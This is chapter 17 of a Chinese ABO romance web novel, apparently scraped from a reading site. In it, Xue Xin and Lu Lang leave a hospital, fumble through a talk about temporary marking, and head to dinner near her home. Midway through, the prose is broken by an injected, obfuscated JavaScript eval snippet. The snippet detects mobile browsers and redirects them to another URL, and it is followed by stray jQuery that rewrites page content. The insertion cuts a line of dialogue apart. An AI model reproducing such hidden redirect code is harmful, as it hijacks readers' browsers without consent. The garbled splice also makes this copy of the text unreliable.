17. 第 17 章

作品:《我只喜欢你的信息素!

    从医院出来后,两人都没怎么说话。


    来时地下停车场没有空位,薛歆把车停在附近的商场,步行十分钟的路程。时过六点,路边支起不少小摊,越走到热闹的地方,越显得他们沉默。


    到了停车场,周围安静下来。听着交叠的脚步声,薛歆叹了口气,忽然笑了一下。


    “早知道最后还是这样,”她无奈地说,“我就不折腾这么几圈了。”


    路琅沉默不语。


    刚听医生讲完的时候,那一瞬间,尽管说不清来由,但他觉得自己好像是松了口气。可是薛歆反常的安静,让这口气又提了起来。


    他低声问:“你是不是不愿意?”


    薛歆正在包里翻车钥匙,闻言抬起头来,光看着他不说话。等手指摸到夹层里的钥匙,欸了一声,一边嘀咕着原来在这,一边反问:“你说什么?”


    路琅:“……”


    有些话刚出口不感觉如何,可是要说第二遍,就觉得无论如何也没力气再开口了。


    他没精打采地摇头:“没什么。”


    上了车,熟悉的淡柑橘香扑面而来。


    导航开了,熟悉的电子音播报完气温和路况,开始询问目的地。


    薛歆转头看过来,不等她开口,路琅就说:“今天麻烦你了,晚上还有事吗?我们……”


    薛歆露出一点点惊讶的神色。


    路琅不知自己又说了什么不该说的,被看得讲不下去,皱起眉毛。


    “怎么了?”


    “我也想问你怎么了。”


    “突然这么客气。”薛歆说,“进一趟医院,对人生有新感悟了?”


    路琅真想咬她。


    他忍了忍,只冷哼了声,目光转到了另一边,自顾自的生起闷气来。


    薛歆看得想笑,唇角忍不住翘起一点,好不容易才压下去。


    她清清嗓子,说:“我没有不愿意。”


    路琅一愣。


    他的眼睛很快地眨了几下,倏然抬了起来。


    薛歆说:“你刚才是要问这个吧?”


    路琅的脸渐渐泛起红来,不可置信地:“你——”


    他闭住眼睛,静了一会儿,调顺呼吸,压住翻卷回来的羞耻感,把话讲完:“你明明听清了。”


    薛歆:“我是听清了。”


    “那你……”路琅咬了咬舌尖:“那你还问我?”


    “我没想到你会问这个问题,当时没反应过来。”


    薛歆笑了笑:“你不是说过了吗?都是治疗需要,我知道。我答应了帮忙就会帮到底,别担心。”


    路琅的睫毛微微颤着。


    “我不是问你会不会。”他压低了声音,自言自语似的说着,“我是问你……愿意不愿意。”


    薛歆秒答:“我愿意帮你啊。”


    路琅咬住了嘴唇。


    ……不,也不是这个。


    他想问的是愿不愿意临时标记。


    愿意帮忙和愿意标记,说的是同一件事,可是感觉上不一样。


    路琅感到心头发闷,看向薛歆,想要直接发问。可是刚转过脸,就猝然撞进她泛起疑惑的目光里,他张了张口,忽然泄了气


    薛歆:“你还有想问的?”


    路琅攥紧了手指。


    他说不清楚为什么会这么在意薛歆的想法,只觉得心乱。直到看着她的眼睛时,才感觉到一个答案隐隐约约地飘上来,但是那太——太荒谬了。他让自己把这个答案忘记了。


    “……没有。”


    话题结束了。


    “六点多了。”薛歆翻翻通讯录,约了家常吃的店,“昨天约了地方你不来,今天可好,又和那天一样了。现在怎么办,是送你回去,还是跟着我随便吃点?”


    路琅仍是神色空白,像个卡碟的播放器,过了会儿,低低地:“嗯。”


    薛歆:“?”


    “我是问你去哪儿。”她强调,“你回去还是跟着我?”


    路琅掀起眼帘,软而长的睫毛扬起,眼珠剔透得像两颗空空如也的玻璃球。


    他动了动唇,却没发出声音来。缓了缓,再开口的时候,听着简直有些虚弱了:“我去公司。”


    薛歆瞟一眼导航底栏:“六点二十三了。”


    “嗯。”路琅按着眉心,“我回去看看。”


    薛歆:“工作?”


    路琅摇头,只说:“回去看看。”


    他想去个不那么容易胡思乱想的地方。


    薛歆听完,没说什么,突然抬手把车内灯按亮了,再度看向身边。


    一番观察后,她给出评价:“你的脸色太差了。”


    路琅没力气地:“嗯。”


    薛歆想了想,替他做了决定:“你别回公司了,这会儿跟我走。这么晚了,先吃点东西再说。”


    路琅有些怔然地抬起眼来。


    薛歆:“医生不是说标记之后要多接触吗?一起吃个饭也算接触了。”


    路琅没应声。


    他不想回去一个人待在家里,但也觉得不能再继续面对薛歆了。别说接触,他觉得他得和她保持距离。只有这样才静得下心来。


    薛歆没等到回答,追问:“怎么样,这安排可以吗?”


    路琅掐住了自己的指尖。


    “可以。”


    -


    六点半,正是晚高峰时段。


    薛歆原想再细问问路琅到底还有哪儿不舒服,在环城高速上盘桓到第二十分钟,被堵得失了声,后半程都没再讲话。


    车内流淌着轻音乐的声音。


    路琅多数时候都侧头望着车窗外的景色,只偶尔会看一眼薛歆,目光在她的眉眼上停一停,便像流星般直坠下去。


    正常十五分钟的路程被拖到接近一个钟头。


    七点半,两人终于在一处住宅区附近下了车。


    薛歆边解安全带,边指着远处说:“我开的新店就在那边,挑了好久才定的位置,地段好,离几所大学都不远。”


    路琅顺着她手指的方向望过去,听完介绍,正要收回目光,薛歆忽然又指向了眼前的一栋楼。


    她随口补了句:“而且离我家也近。”


    路琅一下停了动作:“你家?”


    “对,我住在这。”薛歆指指头顶,“就最近的这一栋,二十九楼,前年刚买的,装修折腾了小半年。”


    路琅越听,越觉得哪里不对。


    他犹豫了下,手指紧捏着安全带,尽量镇定地问:“你说一起吃饭,是在你家?”


    关系虽然亲近了点。


    但是去家里……也还是有点……


    路琅心里简直一团乱,可能得到的回答像一团乱麻塞在心缝里,他不知道应该给什么反应。


    然后他听见薛歆说:“不是啊。”


    “我家里没吃的,也没请人,从头开始做饭得到八点了。”她挺意外路琅会有这种猜测,顺着思考了下,问,“你想去我家里吃饭?”


    没人吱声。


    薛歆扭头一看,见路琅低下了头,半张脸隐没在影子里,另半张脸看着格外红润,眼睛飞快地眨着。


    “怎么可能!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269987|197833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他尾音扬的很高。


    薛歆连忙安抚:“别激动,我随便问的。”


    路琅深呼吸了两次,咬住舌尖,半晌才说:“我没激动。”


    薛歆心想,不激动的表现可不是这样的。


    不过她没把这话说出来,想了想,提议道:“如果你想去我家里也可以,只是时间会晚一点。”


    路琅:“我不想去!”


    薛歆:“好好好,你不想。”


    路琅:“……”


    折腾半天,这段对话总算结束。下了车,浸在冰冷的夜风里,两个人都冷静了下来。


    薛歆订的地方是她平时常吃的私厨,离家两百米,味道不错,环境顶尖,最主要的是方便。


    影叙的生意刚上正轨的那段时间,她忙于工作,家里基本不开火,每天要么在公司随便吃点,要么就吃这家私厨,和老板已经熟成了朋友。


    “时间太赶了,我先让厨师照着我常吃的菜单做了几道,等会你看看还要加什么。”


    回到家附近,薛歆放松不少,简单介绍了几句,随手把盘着的头发扯散了。


    长发从肩膀滑落下来。被紧紧盘了一天,散下来之后还是卷着,随着脚步轻晃。


    路琅落后她小半步,嗅到一点柑橘香。


    他绷紧了面颊,快走两步,越过她往前面去了。


    擦肩而过。


    薛歆忽然疑惑地嗯了一声。


    “你是不是没贴抑制贴。”她又赶上来,问,“还是翘边了?”


    每个Omega对这种问题都很敏感。路琅还在暗自气恼,闻言,立时抬手摸了摸颈后。


    抑制贴好好地在那里。


    别说翘边了,贴的比平时还牢。


    路琅:“没有。”


    薛歆不大相信,看了一眼。


    确实没有。


    “好吧,真奇怪。”她摸了摸鼻子,“你闻起来特别香。”


    路琅的手还放在后颈,听了这话,五指一攥,差点掐进自己的肉里。


    耳尖的一层红还没褪尽,又蹭得烧了起来。


    “你、你……”


    起了半天头,还是迟迟说不出话。


    薛歆连忙顺毛:“抱歉。”


    路琅忍着羞耻道:“不要跟我开这种玩笑。”


    薛歆:“没开玩笑,我是实话实说。”


    路琅:“不可能。薛家是专做抑制药物的,你还不清楚抑制贴的效果?”


    他说这话时扬起了眉毛,表情冷淡,像是回到多年前和薛歆还不对付的时候,非必要不合作必要也不合作。


    被这样质疑,薛歆本来应该生气的,但和路琅对视了一阵,总想起学生时代的事情,禁不住地想笑。


    她拿出手机:“我确实闻到你的信息素了,是有点奇怪,要不问问医生吧。”


    很快,电话接通了。


    听完整件事,医生足有半分钟没说话,接着长长地叹了一口气。


    “你们俩都有依赖反应了,对彼此的信息素当然非常敏感,这是正常现象。”


    薛歆开着外放,听完这段,朝路琅摊了下手。


    “好,我知道了。”她说,“回头再联系。”


    医生嘟哝着:“行吧。你真是越来越过分了,大晚上还打个电话秀恩爱。”


    薛歆笑:“别乱说啊,怎么就秀恩爱了。”


    医生:“没事闻信息素不就是秀恩爱吗?”


    薛歆:“嘁嘁。”


    她挂断了电话。


    身旁,路琅不自觉抬手,又碰了碰抑制贴。